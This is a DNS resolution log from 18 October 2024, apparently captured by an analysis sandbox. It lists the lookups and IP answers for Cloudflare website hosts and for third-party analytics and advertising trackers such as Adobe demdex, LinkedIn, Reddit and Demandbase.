Oct 18, 2024 15:48:00.175661087 CEST	1.1.1.1	192.168.2.8	0xe8b9	No error (0)	www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:00.175661087 CEST	1.1.1.1	192.168.2.8	0xe8b9	No error (0)	www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:00.176142931 CEST	1.1.1.1	192.168.2.8	0xb82b	No error (0)	www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:01.877429962 CEST	1.1.1.1	192.168.2.8	0x67e5	No error (0)	cf-assets.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:01.877429962 CEST	1.1.1.1	192.168.2.8	0x67e5	No error (0)	cf-assets.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:01.877974033 CEST	1.1.1.1	192.168.2.8	0x5a8	No error (0)	cf-assets.www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:01.910685062 CEST	1.1.1.1	192.168.2.8	0x52b3	No error (0)	static.cloudflareinsights.com		104.16.79.73	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:01.910685062 CEST	1.1.1.1	192.168.2.8	0x52b3	No error (0)	static.cloudflareinsights.com		104.16.80.73	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:01.911869049 CEST	1.1.1.1	192.168.2.8	0x4a00	No error (0)	static.cloudflareinsights.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:02.268415928 CEST	1.1.1.1	192.168.2.8	0xc713	No error (0)	www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:02.269359112 CEST	1.1.1.1	192.168.2.8	0xea22	No error (0)	www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.269359112 CEST	1.1.1.1	192.168.2.8	0xea22	No error (0)	www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.752048969 CEST	1.1.1.1	192.168.2.8	0x2823	No error (0)	performance.radar.cloudflare.com		104.18.31.78	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.752048969 CEST	1.1.1.1	192.168.2.8	0x2823	No error (0)	performance.radar.cloudflare.com		104.18.30.78	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.752290010 CEST	1.1.1.1	192.168.2.8	0xa841	No error (0)	performance.radar.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:02.754954100 CEST	1.1.1.1	192.168.2.8	0xd60a	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:02.754975080 CEST	1.1.1.1	192.168.2.8	0x22d5	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.754975080 CEST	1.1.1.1	192.168.2.8	0x22d5	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.758323908 CEST	1.1.1.1	192.168.2.8	0x9a18	No error (0)	ot.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.758323908 CEST	1.1.1.1	192.168.2.8	0x9a18	No error (0)	ot.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:02.758555889 CEST	1.1.1.1	192.168.2.8	0x92e	No error (0)	ot.www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:03.016278028 CEST	1.1.1.1	192.168.2.8	0x5790	No error (0)	cf-assets.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:03.016278028 CEST	1.1.1.1	192.168.2.8	0x5790	No error (0)	cf-assets.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:03.016294003 CEST	1.1.1.1	192.168.2.8	0xab98	No error (0)	cf-assets.www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:03.033365011 CEST	1.1.1.1	192.168.2.8	0xd09b	No error (0)	static.cloudflareinsights.com		104.16.79.73	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:03.033365011 CEST	1.1.1.1	192.168.2.8	0xd09b	No error (0)	static.cloudflareinsights.com		104.16.80.73	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:03.034815073 CEST	1.1.1.1	192.168.2.8	0xe12b	No error (0)	static.cloudflareinsights.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:04.251805067 CEST	1.1.1.1	192.168.2.8	0x46e9	No error (0)	ot.www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:04.253375053 CEST	1.1.1.1	192.168.2.8	0xb15b	No error (0)	ot.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:04.253375053 CEST	1.1.1.1	192.168.2.8	0xb15b	No error (0)	ot.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:06.492618084 CEST	1.1.1.1	192.168.2.8	0x2121	No error (0)	cdn.logr-ingest.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:06.502199888 CEST	1.1.1.1	192.168.2.8	0x31a6	No error (0)	cdn.logr-ingest.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:06.502199888 CEST	1.1.1.1	192.168.2.8	0x31a6	No error (0)	cdn.logr-ingest.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:07.751413107 CEST	1.1.1.1	192.168.2.8	0x9652	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:07.751413107 CEST	1.1.1.1	192.168.2.8	0x9652	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:07.751822948 CEST	1.1.1.1	192.168.2.8	0x5dd4	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:09.232378960 CEST	1.1.1.1	192.168.2.8	0x3ffd	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:09.232651949 CEST	1.1.1.1	192.168.2.8	0x8884	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:09.274843931 CEST	1.1.1.1	192.168.2.8	0xa06c	No error (0)	api.www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:09.275505066 CEST	1.1.1.1	192.168.2.8	0x4d34	No error (0)	api.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:09.275505066 CEST	1.1.1.1	192.168.2.8	0x4d34	No error (0)	api.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:09.447068930 CEST	1.1.1.1	192.168.2.8	0x74f9	No error (0)	cdn.logr-ingest.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:09.447068930 CEST	1.1.1.1	192.168.2.8	0x74f9	No error (0)	cdn.logr-ingest.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:09.447594881 CEST	1.1.1.1	192.168.2.8	0xc3e5	No error (0)	cdn.logr-ingest.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:10.087016106 CEST	1.1.1.1	192.168.2.8	0xb5c2	No error (0)	api.www.cloudflare.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:10.091227055 CEST	1.1.1.1	192.168.2.8	0x8605	No error (0)	api.www.cloudflare.com		104.16.123.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.091227055 CEST	1.1.1.1	192.168.2.8	0x8605	No error (0)	api.www.cloudflare.com		104.16.124.96	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.937352896 CEST	1.1.1.1	192.168.2.8	0xebd7	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.938046932 CEST	1.1.1.1	192.168.2.8	0x955	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.938067913 CEST	1.1.1.1	192.168.2.8	0x7e89	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.938067913 CEST	1.1.1.1	192.168.2.8	0x7e89	No error (0)	platform.twitter.map.fastly.net		146.75.88.157	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.938703060 CEST	1.1.1.1	192.168.2.8	0xe656	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.939537048 CEST	1.1.1.1	192.168.2.8	0x7fe9	No error (0)	js.qualified.com		104.18.17.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.939537048 CEST	1.1.1.1	192.168.2.8	0x7fe9	No error (0)	js.qualified.com		104.18.16.5	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.939552069 CEST	1.1.1.1	192.168.2.8	0xe702	No error (0)	js.qualified.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:10.940172911 CEST	1.1.1.1	192.168.2.8	0xb893	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.940685034 CEST	1.1.1.1	192.168.2.8	0x2272	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.941261053 CEST	1.1.1.1	192.168.2.8	0x4440	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.941261053 CEST	1.1.1.1	192.168.2.8	0x4440	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.941261053 CEST	1.1.1.1	192.168.2.8	0x4440	No error (0)	fp2c5c.wac.kappacdn.net		152.195.15.58	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942117929 CEST	1.1.1.1	192.168.2.8	0x532b	No error (0)	tag.demandbase.com		18.239.50.124	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942117929 CEST	1.1.1.1	192.168.2.8	0x532b	No error (0)	tag.demandbase.com		18.239.50.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942117929 CEST	1.1.1.1	192.168.2.8	0x532b	No error (0)	tag.demandbase.com		18.239.50.58	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942117929 CEST	1.1.1.1	192.168.2.8	0x532b	No error (0)	tag.demandbase.com		18.239.50.80	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942167997 CEST	1.1.1.1	192.168.2.8	0xd553	No error (0)	cdn.bizible.com	fp2c5c.wac.108ca.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942167997 CEST	1.1.1.1	192.168.2.8	0xd553	No error (0)	fp2c5c.wac.108ca.kappacdn.net	fp2c5c.wac.kappacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942358971 CEST	1.1.1.1	192.168.2.8	0xc215	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.942358971 CEST	1.1.1.1	192.168.2.8	0xc215	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.943373919 CEST	1.1.1.1	192.168.2.8	0x8a45	No error (0)	px.ads.linkedin.com	afd-lnkd.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.943373919 CEST	1.1.1.1	192.168.2.8	0x8a45	No error (0)	afd-lnkd.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.952868938 CEST	1.1.1.1	192.168.2.8	0x599e	No error (0)	alb.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:10.952868938 CEST	1.1.1.1	192.168.2.8	0x599e	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.952868938 CEST	1.1.1.1	192.168.2.8	0x599e	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.952868938 CEST	1.1.1.1	192.168.2.8	0x599e	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.952868938 CEST	1.1.1.1	192.168.2.8	0x599e	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:10.953614950 CEST	1.1.1.1	192.168.2.8	0xdc4d	No error (0)	alb.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.73.195.97	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.75.226.102	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.248.198.130	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.203.183.110	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.245.134	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.96.13	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.150.189	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389003992 CEST	1.1.1.1	192.168.2.8	0xbcce	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.141.180	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389683962 CEST	1.1.1.1	192.168.2.8	0x5bee	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389683962 CEST	1.1.1.1	192.168.2.8	0x5bee	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.389683962 CEST	1.1.1.1	192.168.2.8	0x5bee	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.487552881 CEST	1.1.1.1	192.168.2.8	0x5d83	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.487868071 CEST	1.1.1.1	192.168.2.8	0x3e49	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 18, 2024 15:48:11.501483917 CEST	1.1.1.1	192.168.2.8	0xa039	No error (0)	bat-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.501483917 CEST	1.1.1.1	192.168.2.8	0xa039	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.501483917 CEST	1.1.1.1	192.168.2.8	0xa039	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.558228970 CEST	1.1.1.1	192.168.2.8	0x28ce	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.558249950 CEST	1.1.1.1	192.168.2.8	0x5aa4	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.755902052 CEST	1.1.1.1	192.168.2.8	0xe5ed	No error (0)	stats.g.doubleclick.net		74.125.71.156	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.755902052 CEST	1.1.1.1	192.168.2.8	0xe5ed	No error (0)	stats.g.doubleclick.net		74.125.71.154	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.755902052 CEST	1.1.1.1	192.168.2.8	0xe5ed	No error (0)	stats.g.doubleclick.net		74.125.71.155	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.755902052 CEST	1.1.1.1	192.168.2.8	0xe5ed	No error (0)	stats.g.doubleclick.net		74.125.71.157	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.828495026 CEST	1.1.1.1	192.168.2.8	0xf87a	No error (0)	alb.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:11.828495026 CEST	1.1.1.1	192.168.2.8	0xf87a	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.828495026 CEST	1.1.1.1	192.168.2.8	0xf87a	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.828495026 CEST	1.1.1.1	192.168.2.8	0xf87a	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.828495026 CEST	1.1.1.1	192.168.2.8	0xf87a	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:11.828855991 CEST	1.1.1.1	192.168.2.8	0x63ed	No error (0)	alb.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.185621977 CEST	1.1.1.1	192.168.2.8	0xd237	No error (0)	di.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.200301886 CEST	1.1.1.1	192.168.2.8	0xf6b2	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.200511932 CEST	1.1.1.1	192.168.2.8	0xf5da	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.413069010 CEST	1.1.1.1	192.168.2.8	0x99af	No error (0)	api.company-target.com		18.66.102.75	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.413069010 CEST	1.1.1.1	192.168.2.8	0x99af	No error (0)	api.company-target.com		18.66.102.85	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.413069010 CEST	1.1.1.1	192.168.2.8	0x99af	No error (0)	api.company-target.com		18.66.102.127	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.413069010 CEST	1.1.1.1	192.168.2.8	0x99af	No error (0)	api.company-target.com		18.66.102.98	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.424504995 CEST	1.1.1.1	192.168.2.8	0x8486	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.424504995 CEST	1.1.1.1	192.168.2.8	0x8486	No error (0)	s.dsp-prod.demandbase.com		34.96.71.22	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.431967974 CEST	1.1.1.1	192.168.2.8	0xb817	No error (0)	id.rlcdn.com		35.244.174.68	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.457695961 CEST	1.1.1.1	192.168.2.8	0x13f6	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.498383045 CEST	1.1.1.1	192.168.2.8	0x3c8	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.498383045 CEST	1.1.1.1	192.168.2.8	0x3c8	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.498383045 CEST	1.1.1.1	192.168.2.8	0x3c8	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.498383045 CEST	1.1.1.1	192.168.2.8	0x3c8	No error (0)	demdex.net.ssl.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.499624968 CEST	1.1.1.1	192.168.2.8	0xc5eb	No error (0)	adobedc.demdex.net	demdex.net.ssl.sc.omtrdc.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	cloudflareinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.224.135	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.249.42.222	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.203.183.110	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.48.180.95	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.172.183	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.245.134	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		18.203.49.75	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514159918 CEST	1.1.1.1	192.168.2.8	0x9894	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.141.180	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514636993 CEST	1.1.1.1	192.168.2.8	0x904b	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.514734030 CEST	1.1.1.1	192.168.2.8	0x2fdb	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.517867088 CEST	1.1.1.1	192.168.2.8	0x8e19	No error (0)	r.logr-ingest.com	prod-default.lb.logrocket.network		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.517867088 CEST	1.1.1.1	192.168.2.8	0x8e19	No error (0)	prod-default.lb.logrocket.network		104.198.23.205	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.518574953 CEST	1.1.1.1	192.168.2.8	0x8966	No error (0)	r.logr-ingest.com	prod-default.lb.logrocket.network		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.520122051 CEST	1.1.1.1	192.168.2.8	0x6ea9	No error (0)	cloudflareinc.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.520122051 CEST	1.1.1.1	192.168.2.8	0x6ea9	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.520122051 CEST	1.1.1.1	192.168.2.8	0x6ea9	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.567183971 CEST	1.1.1.1	192.168.2.8	0x60aa	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.568434000 CEST	1.1.1.1	192.168.2.8	0x51f3	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.49.4.19	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.172.183	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.248.235.56	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.96.13	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		99.81.31.75	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.31.245.134	A (IP address)	IN (0x0001)	false
Oct 18, 2024 15:48:12.570333958 CEST	1.1.1.1	192.168.2.8	0xea7e	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.30.138.159	A (IP address)	IN (0x0001)	false
